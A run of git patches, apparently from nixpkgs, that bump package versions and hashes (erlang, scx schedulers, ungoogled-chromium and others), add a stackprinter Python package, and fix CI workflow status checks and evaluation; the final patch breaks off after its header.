From 4b8f663634c1ce9f57ab6164eb5db1aaa601596d Mon Sep 17 00:00:00 2001
From: Anton Curanz <anton@curanz.de>
Date: Fri, 6 Jun 2025 16:52:28 +0200
Subject: [PATCH 4443/4511] iterm2: 3.5.11 -> 3.5.14

(cherry picked from commit 1c3fc325e9105ec24db9f839daaba3650774ff82)
---
 pkgs/by-name/it/iterm2/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/it/iterm2/package.nix b/pkgs/by-name/it/iterm2/package.nix
index 2fd490ef1896..b441940fb430 100644
--- a/pkgs/by-name/it/iterm2/package.nix
+++ b/pkgs/by-name/it/iterm2/package.nix
@@ -15,13 +15,13 @@
 
 stdenvNoCC.mkDerivation rec {
   pname = "iterm2";
-  version = "3.5.11";
+  version = "3.5.14";
 
   src = fetchzip {
     url = "https://iterm2.com/downloads/stable/iTerm2-${
       lib.replaceStrings [ "." ] [ "_" ] version
     }.zip";
-    hash = "sha256-vcZL74U9RNjhpIQRUUn6WueYhE/LfLqpb/JgWunY5dI=";
+    hash = "sha256-cF7gg4kT0z/7Qu7d6AyXpnvrSQ937JbFUgpXw5F4AWE=";
   };
 
   dontFixup = true;

From 162fd2111cbf16faf5f022b4f6999c6b0667f42b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 9 Sep 2025 14:13:33 +0000
Subject: [PATCH 4444/4511] pyfa: 2.63.1 -> 2.64.1

(cherry picked from commit c26b4b1c5128e202c86f19930a34232a2ba6c265)
---
 pkgs/by-name/py/pyfa/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/py/pyfa/package.nix b/pkgs/by-name/py/pyfa/package.nix
index 196231ffb451..262cc926e074 100644
--- a/pkgs/by-name/py/pyfa/package.nix
+++ b/pkgs/by-name/py/pyfa/package.nix
@@ -10,7 +10,7 @@
   copyDesktopItems,
 }:
 let
-  version = "2.63.1";
+  version = "2.64.1";
 in
 python3Packages.buildPythonApplication rec {
   inherit version;
@@ -21,7 +21,7 @@ python3Packages.buildPythonApplication rec {
     owner = "pyfa-org";
     repo = "Pyfa";
     tag = "v${version}";
-    hash = "sha256-kpTJ7cgS/W0mUtplERiEYJA+FszPILCI+0AVbk6MVAA=";
+    hash = "sha256-qqfJ8nYI1y74sGJDbwrq0mT03em62BmU+y6GPmUUIIo=";
   };
 
   desktopItems = [

From 1330c47ea025bd045f49056e8b9e844bdebfeb8b Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 10 Sep 2025 13:11:20 -0400
Subject: [PATCH 4445/4511] erlang_26: 26.2.5.14 -> 26.2.5.15

https://github.com/erlang/otp/releases/tag/OTP-26.2.5.15
(cherry picked from commit 805641797695652b3645e41da3d3587a5ccfa34e)
---
 pkgs/development/interpreters/erlang/26.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/26.nix b/pkgs/development/interpreters/erlang/26.nix
index 78891d06af72..30e891baba29 100644
--- a/pkgs/development/interpreters/erlang/26.nix
+++ b/pkgs/development/interpreters/erlang/26.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "26.2.5.14";
-  sha256 = "sha256-/m76FtCJvIjNuvM96XV3ngFMgKF8C5uCH89YQklJKpo=";
+  version = "26.2.5.15";
+  sha256 = "sha256-D2JfB7D9mhbmYvJfjSMbcdNrlYNWa/BfqAeqsbjTZlE=";
 }

From a2ea4cf7ecd8924b2bc44a3a377cc1458347b998 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 10 Sep 2025 13:16:23 -0400
Subject: [PATCH 4446/4511] erlang_27: 27.3.4.2 -> 27.3.4.3

https://github.com/erlang/otp/releases/tag/OTP-27.3.4.3
(cherry picked from commit 586cfaf842c9cf24969b7fbf77425c861f1957ec)
---
 pkgs/development/interpreters/erlang/27.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/27.nix b/pkgs/development/interpreters/erlang/27.nix
index bc6b0507aac8..ee6baf22b471 100644
--- a/pkgs/development/interpreters/erlang/27.nix
+++ b/pkgs/development/interpreters/erlang/27.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "27.3.4.2";
-  sha256 = "sha256-wbaRSTwTrNADbShNHoWorWyD+2ul6NZbRs6isP3g+OI=";
+  version = "27.3.4.3";
+  sha256 = "sha256-p4M1PPrbpNq6la4kgTTCOa2f5/oYxNwMaSi59mhlM4o=";
 }

From 5f59c51a6330ab86e866132b08559e102775f8e1 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 10 Sep 2025 13:18:03 -0400
Subject: [PATCH 4447/4511] erlang_28: 28.0.2 -> 28.0.3

https://github.com/erlang/otp/releases/tag/OTP-28.0.3
(cherry picked from commit 0095c1d3c38ea25dd526618f5d917af0a57a0e71)
---
 pkgs/development/interpreters/erlang/28.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/28.nix b/pkgs/development/interpreters/erlang/28.nix
index e9594b18621f..4160e592aad9 100644
--- a/pkgs/development/interpreters/erlang/28.nix
+++ b/pkgs/development/interpreters/erlang/28.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "28.0.2";
-  sha256 = "sha256-4+Jv7MUX4KAwasNyU7AiV9+Qd9NginYXTN0fDteTFEM=";
+  version = "28.0.3";
+  sha256 = "sha256-fNuUMJs4nPZF0iptPxrd7xi13CDmLnA348hnyPFgL5Q=";
 }

From 683585ecbcaa5a0b902df05734d207dd40020631 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Thu, 11 Sep 2025 12:09:04 -0400
Subject: [PATCH 4448/4511] erlang_28: 28.0.3 -> 28.0.4

https://github.com/erlang/otp/releases/tag/OTP-28.0.4
(cherry picked from commit eda74daf1162e4a4008d7c2f07f47cdb6d0301d4)
---
 pkgs/development/interpreters/erlang/28.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/28.nix b/pkgs/development/interpreters/erlang/28.nix
index 4160e592aad9..b41d2b0fa31c 100644
--- a/pkgs/development/interpreters/erlang/28.nix
+++ b/pkgs/development/interpreters/erlang/28.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "28.0.3";
-  sha256 = "sha256-fNuUMJs4nPZF0iptPxrd7xi13CDmLnA348hnyPFgL5Q=";
+  version = "28.0.4";
+  sha256 = "sha256-xJXrV0DfYPLunkIg8jtHZNQYEH278cSeh+uR/vGw18k=";
 }

From 1fe961ab4c45cdbb3307ececbf52aac6f038d0ca Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Wed, 9 Jul 2025 18:30:35 -0600
Subject: [PATCH 4449/4511] python3Packages.stackprinter: init at 0.2.12

(cherry picked from commit 6ee60ec750bd1f331a32d99c463048eaa941dcb3)
---
 .../python-modules/stackprinter/default.nix   | 54 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 56 insertions(+)
 create mode 100644 pkgs/development/python-modules/stackprinter/default.nix

diff --git a/pkgs/development/python-modules/stackprinter/default.nix b/pkgs/development/python-modules/stackprinter/default.nix
new file mode 100644
index 000000000000..189cc0ab2641
--- /dev/null
+++ b/pkgs/development/python-modules/stackprinter/default.nix
@@ -0,0 +1,54 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchFromGitHub,
+
+  setuptools,
+  numpy,
+
+  pytestCheckHook,
+}:
+buildPythonPackage rec {
+  pname = "stackprinter";
+  version = "0.2.12";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "cknd";
+    repo = "stackprinter";
+    tag = version;
+    hash = "sha256-Offow68i2Nh65sh5ZowlSdV1SKF2RIfwlRv4z1bCu+k=";
+  };
+
+  build-system = [
+    setuptools
+  ];
+
+  dependencies = [
+    numpy
+  ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+  ];
+
+  pythonImportsCheck = [
+    "stackprinter"
+    "stackprinter.colorschemes"
+    "stackprinter.extraction"
+    "stackprinter.formatting"
+    "stackprinter.frame_formatting"
+    "stackprinter.prettyprinting"
+    "stackprinter.source_inspection"
+    "stackprinter.tracing"
+    "stackprinter.utils"
+  ];
+
+  meta = {
+    description = "Debugging-friendly exceptions for Python";
+    homepage = "https://github.com/cknd/stackprinter";
+    changelog = "https://github.com/cknd/stackprinter/releases/tag/${version}";
+    license = lib.licenses.mit;
+    maintainers = [ lib.maintainers.ryand56 ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index c7b59d63dbc7..99414795d377 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -16676,6 +16676,8 @@ self: super: with self; {
 
   stack-data = callPackage ../development/python-modules/stack-data { };
 
+  stackprinter = callPackage ../development/python-modules/stackprinter { };
+
   stamina = callPackage ../development/python-modules/stamina { };
 
   standard-aifc =

From 9b29a46f96fd43bf684eef97ad57d29224ad7f6c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 11 Sep 2025 18:29:05 +0200
Subject: [PATCH 4450/4511] workflows/{merge_group,pr}: fail status check
 explicitly

When the merge queue fails, the workflow currently does not post a
negative result - and GitHub Actions waits for the status check to time
out, which takes 60 minutes.

This, of course, is a waste of time and resources. By explicitly failing
the status check, we boot the PR out of the merge queue immediately.

(cherry picked from commit 43a8f20d581f1395f2947810b5bfcb270754b9c1)
---
 .github/workflows/merge-group.yml | 6 ++++--
 .github/workflows/pr.yml          | 6 ++++--
 2 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/merge-group.yml b/.github/workflows/merge-group.yml
index d95c1e5ea22a..0d21b768f6e0 100644
--- a/.github/workflows/merge-group.yml
+++ b/.github/workflows/merge-group.yml
@@ -29,7 +29,7 @@ jobs:
   # This job's only purpose is to create the target for the "Required Status Checks" branch ruleset.
   # It "needs" all the jobs that should block the Merge Queue.
   unlock:
-    if: github.event_name != 'pull_request'
+    if: github.event_name != 'pull_request' && always()
     # Modify this list to add or remove jobs from required status checks.
     needs:
       - lint
@@ -38,6 +38,8 @@ jobs:
       statuses: write
     steps:
       - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        env:
+          RESULTS: ${{ toJSON(needs.*.result) }}
         with:
           script: |
             const { serverUrl, repo, runId, payload } = context
@@ -50,6 +52,6 @@ jobs:
               // Do NOT change the name of this, otherwise the rule will not catch it anymore.
               // This would prevent all PRs from merging.
               context: 'no PR failures',
-              state: 'success',
+              state: JSON.parse(process.env.RESULTS).every(result => result == 'success') ? 'success' : 'error',
               target_url,
             })
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 785ebbf9d168..2ff431225502 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -127,7 +127,7 @@ jobs:
   # This job's only purpose is to create the target for the "Required Status Checks" branch ruleset.
   # It "needs" all the jobs that should block merging a PR.
   unlock:
-    if: github.event_name != 'pull_request'
+    if: github.event_name != 'pull_request' && always()
     # Modify this list to add or remove jobs from required status checks.
     needs:
       - check
@@ -139,6 +139,8 @@ jobs:
       statuses: write
     steps:
       - uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        env:
+          RESULTS: ${{ toJSON(needs.*.result) }}
         with:
           script: |
             const { serverUrl, repo, runId, payload } = context
@@ -151,6 +153,6 @@ jobs:
               // Do NOT change the name of this, otherwise the rule will not catch it anymore.
               // This would prevent all PRs from merging.
               context: 'no PR failures',
-              state: 'success',
+              state: JSON.parse(process.env.RESULTS).every(status => status == 'success') ? 'success' : 'error',
               target_url,
             })

From 2ca9b4dd0e858929df36b63bff37cbbfecb886d6 Mon Sep 17 00:00:00 2001
From: Stzx <silence.m@hotmail.com>
Date: Tue, 26 Aug 2025 16:19:36 +0800
Subject: [PATCH 4451/4511] scx.cscheds: direct use of bash

(cherry picked from commit 594f4924de0341292a9aecf39c46c4d545755aba)
---
 pkgs/os-specific/linux/scx/scx_cscheds.nix | 11 +----------
 1 file changed, 1 insertion(+), 10 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index dc9e138cd7f4..23c183bf8a2a 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -17,15 +17,6 @@
   libseccomp,
 }:
 
-let
-  # Fixes a bug with the meson build script where it specifies
-  # /bin/bash twice in the script
-  misbehaviorBash = writeShellScript "bash" ''
-    shift 1
-    exec ${lib.getExe bash} "$@"
-  '';
-
-in
 llvmPackages.stdenv.mkDerivation (finalAttrs: {
   pname = "scx_cscheds";
   inherit (scx-common) version src;
@@ -66,7 +57,7 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     cp ${finalAttrs.fetchBpftool} meson-scripts/fetch_bpftool
     cp ${finalAttrs.fetchLibbpf} meson-scripts/fetch_libbpf
     substituteInPlace meson.build \
-      --replace-fail '[build_bpftool' "['${misbehaviorBash}', build_bpftool"
+      --replace-fail '[build_bpftool' "['${lib.getExe bash}', build_bpftool"
 
     # TODO: Remove in next release.
     substituteInPlace lib/scxtest/overrides.h \

From ff5cb2956b022bac45801645790aa5bcbca36b0d Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Tue, 26 Aug 2025 17:52:29 +0200
Subject: [PATCH 4452/4511] scx.full: 1.0.14 -> 1.0.15

(cherry picked from commit 350494975943afe5036f8165c15fdcaa106fb05d)
---
 pkgs/os-specific/linux/scx/scx_cscheds.nix    | 13 ------------
 pkgs/os-specific/linux/scx/scx_rustscheds.nix | 20 +------------------
 pkgs/os-specific/linux/scx/version.json       | 10 +++++-----
 3 files changed, 6 insertions(+), 37 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index 23c183bf8a2a..8497ddac1d15 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -58,10 +58,6 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     cp ${finalAttrs.fetchLibbpf} meson-scripts/fetch_libbpf
     substituteInPlace meson.build \
       --replace-fail '[build_bpftool' "['${lib.getExe bash}', build_bpftool"
-
-    # TODO: Remove in next release.
-    substituteInPlace lib/scxtest/overrides.h \
-      --replace-fail '#define __builtin_preserve_enum_value(x,y,z) 1' '#define __builtin_preserve_enum_value(x,y) 1'
   '';
 
   nativeBuildInputs = [
@@ -89,7 +85,6 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
       "systemd" = false;
       # not for nix
       "openrc" = false;
-      "libalpm" = false;
     })
     (lib.mapAttrsToList lib.mesonBool {
       # needed libs are already fetched as FOD
@@ -106,16 +101,8 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     "zerocallusedregs"
   ];
 
-  # We copy the compiled header files to the dev output
-  # These are needed for the rust schedulers
-  postFixup = ''
-    mkdir -p ${placeholder "dev"}
-    cp -r libbpf ${placeholder "dev"}
-  '';
-
   outputs = [
     "bin"
-    "dev"
     "out"
   ];
 
diff --git a/pkgs/os-specific/linux/scx/scx_rustscheds.nix b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
index fc48fd7b26d4..edbdcfef4795 100644
--- a/pkgs/os-specific/linux/scx/scx_rustscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
@@ -7,7 +7,6 @@
   zlib,
   zstd,
   scx-common,
-  scx,
   protobuf,
   libseccomp,
 }:
@@ -17,12 +16,6 @@ rustPlatform.buildRustPackage {
 
   inherit (scx-common.versionInfo.scx) cargoHash;
 
-  # Copy compiled headers and libs from scx.cscheds
-  postPatch = ''
-    mkdir libbpf
-    cp -r ${scx.cscheds.dev}/libbpf/* libbpf/
-  '';
-
   nativeBuildInputs = [
     pkg-config
     rustPlatform.bindgenHook
@@ -37,18 +30,6 @@ rustPlatform.buildRustPackage {
 
   env = {
     BPF_CLANG = lib.getExe llvmPackages.clang;
-    BPF_EXTRA_CFLAGS_PRE_INCL = lib.concatStringsSep " " [
-      "-I${scx.cscheds.dev}/libbpf/src/usr/include"
-      "-I${scx.cscheds.dev}/libbpf/include/uapi"
-      "-I${scx.cscheds.dev}/libbpf/include/linux"
-    ];
-    RUSTFLAGS = lib.concatStringsSep " " [
-      "-C relocation-model=pic"
-      "-C link-args=-lelf"
-      "-C link-args=-lz"
-      "-C link-args=-lzstd"
-      "-L ${scx.cscheds.dev}/libbpf/src"
-    ];
   };
 
   hardeningDisable = [
@@ -63,6 +44,7 @@ rustPlatform.buildRustPackage {
     "--skip=compat::tests::test_struct_has_field"
     "--skip=cpumask"
     "--skip=topology"
+    "--skip=proc_data::tests::test_thread_operations"
   ];
 
   meta = scx-common.meta // {
diff --git a/pkgs/os-specific/linux/scx/version.json b/pkgs/os-specific/linux/scx/version.json
index 822e674361ed..ba4efd7bc025 100644
--- a/pkgs/os-specific/linux/scx/version.json
+++ b/pkgs/os-specific/linux/scx/version.json
@@ -1,15 +1,15 @@
 {
   "scx": {
-    "version": "1.0.14",
-    "hash": "sha256-Wh+8vaQO93Erj+z8S2C633UDmUrFjQc3Bg+Nm7EML0E=",
-    "cargoHash": "sha256-6uiDx2/5ZcYkz8x8vuOTEUclIttzxVMvh1Q6QHg9N6E="
+    "version": "1.0.15",
+    "hash": "sha256-HZIcJVWb0prkCjoSw7hd4JKve+unWFnfz9bGXZaF6EA=",
+    "cargoHash": "sha256-CRk8vLwSylNM5M9j0iwRbAmzAREUOJAl28BdY2o1zGs="
   },
   "bpftool": {
     "rev": "183e7010387d1fc9f08051426e9a9fbd5f8d409e",
     "hash": "sha256-ZZly6csVWOmtLmld1fhSDUqyRgZx2gSMGXTaSASGv7c="
   },
   "libbpf": {
-    "rev": "c5f22aca0f3aa855daa159b2777472b35e721804",
-    "hash": "sha256-ggGVqAkdZt28KAx+LztVIYGxj0j79hKcPKmUy8TrJy8="
+    "rev": "b4fa3e39a77fd65574fb5f899486795fc3d89bd9",
+    "hash": "sha256-wlymVgcLlGCUOC92CkYU6QZZnqx8nidSfhr1pTiS8aM="
   }
 }

From 833ab3d95af5947f1a810b9493bfa7a1497c2433 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Thu, 28 Aug 2025 12:09:01 +0530
Subject: [PATCH 4453/4511] scx.rustscheds: restore RUSTFLAGS

Per https://github.com/sched-ext/scx/blob/059ce35c31c5d7906d2886b0e1c235ef5b6f6da4/meson.build#L347-L349
but linking libbpf is not required, built in rust one should work fine.

See https://github.com/NixOS/nixpkgs/pull/437169/commits/8ec509cc139a8d5e665690fac7794ee277233f4a#r2302122465 and https://github.com/sched-ext/scx/pull/2592

(cherry picked from commit 079b7a006c021a2a378400fe286d1a49830bca46)
---
 pkgs/os-specific/linux/scx/scx_rustscheds.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/os-specific/linux/scx/scx_rustscheds.nix b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
index edbdcfef4795..c43bfee59861 100644
--- a/pkgs/os-specific/linux/scx/scx_rustscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
@@ -30,6 +30,12 @@ rustPlatform.buildRustPackage {
 
   env = {
     BPF_CLANG = lib.getExe llvmPackages.clang;
+    RUSTFLAGS = lib.concatStringsSep " " [
+      "-C relocation-model=pic"
+      "-C link-args=-lelf"
+      "-C link-args=-lz"
+      "-C link-args=-lzstd"
+    ];
   };
 
   hardeningDisable = [

From 16bdf24b9a94a9b9251c153d61488bb351bad64f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 9 Sep 2025 15:35:53 +0000
Subject: [PATCH 4454/4511] scx.full: 1.0.15 -> 1.0.16

(cherry picked from commit 6dddf8cc3d5ccd3c882398bfe924d1921a048763)
---
 pkgs/os-specific/linux/scx/version.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/version.json b/pkgs/os-specific/linux/scx/version.json
index ba4efd7bc025..67d5cb1bed11 100644
--- a/pkgs/os-specific/linux/scx/version.json
+++ b/pkgs/os-specific/linux/scx/version.json
@@ -1,8 +1,8 @@
 {
   "scx": {
-    "version": "1.0.15",
-    "hash": "sha256-HZIcJVWb0prkCjoSw7hd4JKve+unWFnfz9bGXZaF6EA=",
-    "cargoHash": "sha256-CRk8vLwSylNM5M9j0iwRbAmzAREUOJAl28BdY2o1zGs="
+    "version": "1.0.16",
+    "hash": "sha256-fL8SlwIJOEme3bUTk1huv61jg/2QUWtUFaplM3DmCWI=",
+    "cargoHash": "sha256-CrQclEsb/Bkoe3SI069vKWiIUepk8f1Tts1MKpgphsM="
   },
   "bpftool": {
     "rev": "183e7010387d1fc9f08051426e9a9fbd5f8d409e",

From b9b3f64b869e0836c28006e07dfaedf679d0dcaf Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Thu, 11 Sep 2025 23:37:09 +0530
Subject: [PATCH 4455/4511] scx.cscheds: patch build_bpftool meson script
 explicitly

Turns out ./patchShebangs wasn't doing its job properly.
This was verified after running `patchShebangs ./meson-scripts`
and then `cat ./meson-scripts/build_bpftool`

(cherry picked from commit 0b14bcb36298f3f5a700843dede751a695ba122f)
---
 pkgs/os-specific/linux/scx/scx_cscheds.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/scx/scx_cscheds.nix b/pkgs/os-specific/linux/scx/scx_cscheds.nix
index 8497ddac1d15..a487493bad5b 100644
--- a/pkgs/os-specific/linux/scx/scx_cscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_cscheds.nix
@@ -56,8 +56,8 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     patchShebangs ./meson-scripts
     cp ${finalAttrs.fetchBpftool} meson-scripts/fetch_bpftool
     cp ${finalAttrs.fetchLibbpf} meson-scripts/fetch_libbpf
-    substituteInPlace meson.build \
-      --replace-fail '[build_bpftool' "['${lib.getExe bash}', build_bpftool"
+    substituteInPlace ./meson-scripts/build_bpftool \
+      --replace-fail '/bin/bash' '${lib.getExe bash}'
   '';
 
   nativeBuildInputs = [

From aec2d51e7e6f4dfaff23725e847f70f412a0f531 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 11 Sep 2025 15:24:44 +0200
Subject: [PATCH 4456/4511] ci/eval: fix local full eval

The change to use `builtins.storePath` was good - for when the store
path *is* already part of the nix store. In all my tests so far, that
was already the case, because I was iterating on the solution and the
Eval results stayed the same.

But when this is run on a entirely new commit, these the values for
`afterDir` and `combinedDir` are *not* in the store, yet. As part of
running `eval.full` on a new commit they will be created. `eval.full` is
linked up, so that the values passed around there will actually be
derivations, which might not be realized, yet.

Checking whether the input is a path or not fixes this for both cases.

(cherry picked from commit b9d4098221f2321bc4a0af93d515848ed40cce4b)
---
 ci/eval/compare/default.nix | 7 ++++++-
 ci/eval/diff.nix            | 9 +++++++--
 2 files changed, 13 insertions(+), 3 deletions(-)

diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index 293877036e2f..1c83ea891630 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -13,7 +13,12 @@
   byName ? false,
 }:
 let
-  combined = builtins.storePath combinedDir;
+  # Usually we expect a derivation, but when evaluating in multiple separate steps, we pass
+  # nix store paths around. These need to be turned into (fake) derivations again to track
+  # dependencies properly.
+  # We use two steps for evaluation, because we compare results from two different checkouts.
+  # CI additionalls spreads evaluation across multiple workers.
+  combined = if lib.isDerivation combinedDir then combinedDir else lib.toDerivation combinedDir;
 
   /*
     Derivation that computes which packages are affected (added, changed or removed) between two revisions of nixpkgs.
diff --git a/ci/eval/diff.nix b/ci/eval/diff.nix
index d22090601d30..692e2ec60194 100644
--- a/ci/eval/diff.nix
+++ b/ci/eval/diff.nix
@@ -11,8 +11,13 @@
 }:
 
 let
-  before = builtins.storePath beforeDir;
-  after = builtins.storePath afterDir;
+  # Usually we expect a derivation, but when evaluating in multiple separate steps, we pass
+  # nix store paths around. These need to be turned into (fake) derivations again to track
+  # dependencies properly.
+  # We use two steps for evaluation, because we compare results from two different checkouts.
+  # CI additionalls spreads evaluation across multiple workers.
+  before = if lib.isDerivation beforeDir then beforeDir else lib.toDerivation beforeDir;
+  after = if lib.isDerivation afterDir then afterDir else lib.toDerivation afterDir;
 
   /*
     Computes the key difference between two attrs

From ad0c831d6076f1e1838179320bcf6d4cff8ea34a Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Thu, 11 Sep 2025 23:37:52 +0200
Subject: [PATCH 4457/4511] ungoogled-chromium: 140.0.7339.80-1 ->
 140.0.7339.127-1

https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_9.html

This update includes 2 security fixes.

CVEs:
CVE-2025-10200 CVE-2025-10201

(cherry picked from commit e749fe7cdf5c726e2b392b5d17bc9d1ec3c746eb)
---
 .../networking/browsers/chromium/info.json    | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 0f7385f6b061..27a8294f4e46 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -798,7 +798,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "140.0.7339.80",
+    "version": "140.0.7339.127",
     "deps": {
       "depot_tools": {
         "rev": "7d1e2bdb9168718566caba63a170a67cdab2356b",
@@ -810,16 +810,16 @@
         "hash": "sha256-Z7bTto8BHnJzjvmKmcVAZ0/BrXimcAETV6YGKNTorQw="
       },
       "ungoogled-patches": {
-        "rev": "140.0.7339.80-1",
-        "hash": "sha256-jBRBph+rhSK6tmrSpCDN39VbSmvHnTquy1HBUQ6QFFY="
+        "rev": "140.0.7339.127-1",
+        "hash": "sha256-mhMudxJU2arMcmECS9+3ne9X66zyKq5WGc8PSx9RfLc="
       },
       "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "670b6f192f4668d2ac2c06bd77ec3e4eeda7d648",
-        "hash": "sha256-tAiE11g/zymsOOjb64ZIA0GCGDV+6X5qlXUiU9vED/c=",
+        "rev": "9412745860d8c3dfed9cf38f5daa943b163f8c69",
+        "hash": "sha256-rAyS5AhWHL9+6N4+2PFYKPJjzErj8LfIm5ptcsTTV8E=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -889,8 +889,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "cbc4153da8d5796b0fbb3cf288e97bee19436191",
-        "hash": "sha256-lexJRf3EZexLgSuk8ziA+OUW+jTYlkXUPKHU/E6aUcY="
+        "rev": "a8c8a6febe630c6239a5e207530e9fac651ae373",
+        "hash": "sha256-GxWTdzSf7/9WIqrECdAEkibXve/ZpKpxJcNS+KnfNc0="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -1049,8 +1049,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "ab96665ae2cfcc054e0243461cfcb56bb016f71a",
-        "hash": "sha256-8G9OCH5xapLf83bXrKwygCrzwF8C9H2NfnIrDbL+uCc="
+        "rev": "5dbb6f71a9bd613c0403242c7c021652fbf155fd",
+        "hash": "sha256-tA+6iKBfJVrlT+1UH55vqa5JCONweZeD/zWfNHHD+Kw="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1559,8 +1559,8 @@
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "847fe7905954f3ae883de2936415ff567aa9039b",
-        "hash": "sha256-kcK1kJdPCkXbEFuS+b6wKUBaKLXmkAEwVKp4/YWDv8s="
+        "rev": "36ea4535a500ac137dbf1f577ce40dc1aaa774ef",
+        "hash": "sha256-/3V/V0IrhOKcMAgs/C1qraqq+1pfopW8HKvGRmqLE0Q="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",

From b32c480301c97bf675daff2c96bdeefddf1cf039 Mon Sep 17 00:00:00 2001
From: isabel <isabel@isabelroses.com>
Date: Thu, 11 Sep 2025 12:31:09 +0100
Subject: [PATCH 4458/4511] moonlight: 1.3.27 -> 1.3.28

Diff: https://github.com/moonlight-mod/moonlight/compare/v1.3.27...v1.3.28

Changelog: https://raw.githubusercontent.com/moonlight-mod/moonlight/refs/tags/v1.3.28/CHANGELOG.md
